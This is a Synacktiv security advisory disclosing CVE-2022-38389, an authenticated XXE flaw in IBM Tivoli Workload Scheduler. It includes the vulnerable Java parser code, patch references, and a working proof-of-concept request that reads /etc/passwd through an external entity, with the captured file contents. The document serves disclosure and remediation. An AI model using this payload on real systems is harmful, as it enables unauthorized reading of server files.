SYNACKTIV
DIGITAL SECURITY

Authenticated XXE vulnerability in IBM Tivoli Workload Scheduler CVE-2022-38389

Security advisory

2023/02/24

Geoffrey Bertoli

1. Vulnerability description

1.1. Presentation of the impacted products

“IBM Tivoli Workload Automation is a set of products provided by IBM to automate all workload management tasks. Tivoli Workload Scheduler is the base product (engine) that helps you automate, plan, and control every phase of your workload production on UNIX®, Linux®, and Windows® platforms."

1.2. The issue

Synacktiv discovered that the function responsible for handling configuration file does not disable external entity loading when parsing XML settings files. If a user sends a crafted XML settings file referencing external resources such as local files, the XML parser will load them during the configuration processing. By using another endpoint, the remote user can then read the content of the local files.

The *TWSWebUIAdministrator* role is required to exploit this vulnerability.

1.3. Affected versions

The following vulnerability had been exploited on the following environment:

- Tivoli Workload Scheduler version 9.4, 9,5 and 10,1.
- Running on Red Hat Enterprise Linux.

APAR IJ44020 has been opened to address CVE-2022-38389.

It is available on FixCentral for 9.4 release (940-TIV-TWS-FP7-IJ44020) to be applied on top of 9.4.0.7.

APAR IJ44020 has also been included in IBM Workload Scheduler 9.5.0.6 Security Update and in IBM Workload Scheduler 10.1.0.1, both available from FixCentral.

1.4. Timeline

Date	Action
2022/08/08	Vulnerability discovered during an assessment
2023/01/30	CVE-2022-38389 assigned
2023/02/24	Public release

2. Technical description and proof-of-concept

2.1. Vulnerable code and exploitation

2.1.1. Vulnerability discovery

The vulnerability is located in the *CriteriaManagerDomParser* class. The *parseXML* method aiming to parse the XML settings file:

```
class CriteriaManagerDomParser.class {
  [...]

private void parseXml(InputStream xml) {
    trace("start profile parse");
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    try {
      dbf.setValidating(false);
      DocumentBuilder db = dbf.newDocumentBuilder();
      db.setEntityResolver(new EntityResolver() {
            public InputSource resolveEntity(String publicId, String systemId) throws
SAXException, IOException {
              return new InputSource(new StringReader(""));
            }
          });
      this.dom = db.parse(xml);
      visitNode(this.dom.getDocumentElement());
    } catch (ParserConfigurationException pce) {
      pce.printStackTrace();
    } catch (Exception e) {
      e.printStackTrace();
    }
[...]
  }
```

However, external entities have not been disabled before calling the *db.parse(xml)* function. Therefore, if a malicious user sends the following settings file:

```
POST /dwc/FileUploadServlet?handler=preferenceUploader&fileSize=104857600

# Add the remaining parts of the request: If this is in a SOAP request, add the enveloppe
definition for
# example and remember to indent your XML !!!!
<!DOCTYPE doc [
<!ENTITY dtd SYSTEM "file:///etc/passwd">
]>
<com.ibm.tws.webui.export.serialization.xml.WuiXmlSerializationManager version="1">
 <com.ibm.tws.webui.export.base.WuiObject id="content">
  <com.ibm.tws.webui.bus.QueryTask id="LSAgp183_All Critical Jobs in plan
(Distributed)">
    <java.util.ArrayList id="ColumnList">
    </java.util.ArrayList>
    <java.lang.String id="EngineType">tws-distributed</java.lang.String>
    <java.util.ArrayList id="Engines">
      <java.lang.String id="0">*tws-distributed</java.lang.String>
    </java.util.ArrayList>
```

```
    <java.lang.Integer id="IsShared" value="0" />
    <java.lang.Double id="LastHourMinutes" value="0.0" />
    <java.lang.String
id="ObjectType">com.ibm.tws.objects.plan.CriticalJobInPlan</java.lang.String>
   <com.ibm.tws.webui.bus.PlanInfo id="0">
             <java.lang.String id="Id"></java.lang.String>
             <java.lang.String id="Name">$$$activePlan$$$</java.lang.String>
          </com.ibm.tws.webui.bus.PlanInfo>
   </java.util.ArrayList>
   <java.lang.String id="PreferenceName">&dtd;</java.lang.String>
```

And then requests the export of the configuration file, the content of the */etc/passwd* file will be displayed in the server's response:

```
GET /dwc/ServiceDispatcherServlet?ServiceName=PrefExport
[...]
<java.lang.String id="DESCRIPTION">root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...]
```

2.2. Impact

A successful exploitation could allow authenticated users having the *TWSWebUIAdministrator* role to read arbitrary files on the file system. It has to be noted that during our assessment the server was running with *root* privileges.